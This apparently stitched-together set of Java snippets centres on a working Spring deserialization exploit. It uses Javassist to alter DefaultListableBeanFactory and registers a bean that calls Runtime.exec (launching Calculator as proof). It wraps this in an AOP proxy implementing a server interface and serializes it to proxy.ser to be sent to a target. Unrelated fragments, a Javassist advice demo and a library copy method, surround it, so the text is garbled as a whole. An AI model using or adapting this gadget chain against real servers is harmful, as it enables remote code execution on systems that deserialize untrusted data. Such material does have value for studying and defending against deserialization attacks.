private void changeMethod(CtClass ctClass, CtMethod ctMethod) throws CannotCompileException { // basically your before-advice... ctMethod.insertBefore("System.out.println(\"started method at \" + new java.util.Date());"); // basically your after-advice... ctMethod.insertAfter("System.out.println(\"ended method at \" + new java.util.Date());"); // basically your around-advice... String methodName = ctMethod.getName(); String proxyName = methodName + "_$proxy"; CtMethod proxy = CtNewMethod.copy(ctMethod, proxyName, ctClass, null); ctMethod.setName(ctMethod.getName() + "_orig"); proxy.setBody( "{ System.out.println(\"hoot!\"); return $proceed($$);}", "this", ctMethod.getName()); proxy.setName(methodName); ctClass.addMethod(proxy); }
public static void main(String[] arguments) { // Get a DefaultListableBeanFactory modified so it has no writeReplace() method // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a // "attempted duplicate class definition for name" exception System.out.println( "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method"); Object instrumentedFactory = null; ClassPool pool = ClassPool.getDefault(); try { pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader())); CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory"); // Call setSerialVersionUID before modifying a class to maintain serialization compatability. SerialVersionUID.setSerialVersionUID(instrumentedClass); CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace"); // method.insertBefore("{ System.out.println(\"TESTING\"); }"); method.setName("writeReplaceDisabled"); Class instrumentedFactoryClass = instrumentedClass.toClass(); instrumentedFactory = instrumentedFactoryClass.newInstance(); } catch (Exception e) { e.printStackTrace(); } // Modified BeanFactory DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory; // Create malicious bean definition programatically System.out.println("[+] Creating malicious bean definition programatically"); // First we will set up a bean created with a factory method (instead of using the constructor) // that will return a java.lang.Runtime // Runtime or ProcessBuilder are not serializable so we cannot use them for the // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps // these objects as the server will instantiate them GenericBeanDefinition runtime = new GenericBeanDefinition(); runtime.setBeanClass(Runtime.class); runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static // Exploit bean to be registered in the bean factory as the target source GenericBeanDefinition payload = new GenericBeanDefinition(); // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments, // and can't do that with the unserializable ConstructorArgumentValues payload.setBeanClass(MethodInvokingFactoryBean.class); payload.setScope("prototype"); payload.getPropertyValues().add("targetObject", runtime); payload.getPropertyValues().add("targetMethod", "exec"); payload .getPropertyValues() .add( "arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator")); beanFactory.registerBeanDefinition("exploit", payload); // Preparing BeanFactory to be serialized System.out.println("[+] Preparing BeanFactory to be serialized"); System.out.println("[+] Nullifying non-serializable members"); try { Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues.setAccessible(true); constructorArgumentValues.set(payload, null); System.out.println( "[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues()); Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides.setAccessible(true); methodOverrides.set(payload, null); System.out.println( "[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides()); Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues2.setAccessible(true); constructorArgumentValues2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues()); Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides2.setAccessible(true); methodOverrides2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides()); Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver"); autowireCandidateResolver.setAccessible(true); autowireCandidateResolver.set(beanFactory, null); System.out.println( "[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver()); } catch (Exception i) { i.printStackTrace(); System.exit(-1); } // AbstractBeanFactoryBasedTargetSource System.out.println( "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory"); SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource(); targetSource.setTargetBeanName("exploit"); targetSource.setBeanFactory(beanFactory); // JdkDynamicAopProxy (invocationhandler) System.out.println( "[+] Creating the handler and configuring the target source pointing to our malicious bean factory"); AdvisedSupport config = new AdvisedSupport(); config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy config.setTargetSource(targetSource); DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory(); InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config); // Proxy System.out.println( "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler"); Contact proxy = (Contact) Proxy.newProxyInstance( Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler); // System.out.println("[+] Trying exploit locally " + proxy.getName()); // Now lets serialize the proxy System.out.println("[+] Serializating malicious proxy"); try { FileOutputStream fileOut = new FileOutputStream("proxy.ser"); ObjectOutputStream outStream = new ObjectOutputStream(fileOut); outStream.writeObject(proxy); outStream.close(); fileOut.close(); } catch (IOException i) { i.printStackTrace(); } System.out.println("[+] Successfully serialized: " + proxy.getClass().getName()); }
/** * Creates a copy of a method with a new name. This method is provided for creating a new method * based on an existing method. * * @param src the source method. * @param name the name of the created method. * @param declaring the class to which the created method is added. * @param map the hashtable associating original class names with substituted names. It can be * <code>null</code>. * @see CtMethod#CtMethod(CtMethod,CtClass,ClassMap) */ public static CtMethod copy(CtMethod src, String name, CtClass declaring, ClassMap map) throws CannotCompileException { CtMethod cm = new CtMethod(src, declaring, map); cm.setName(name); return cm; }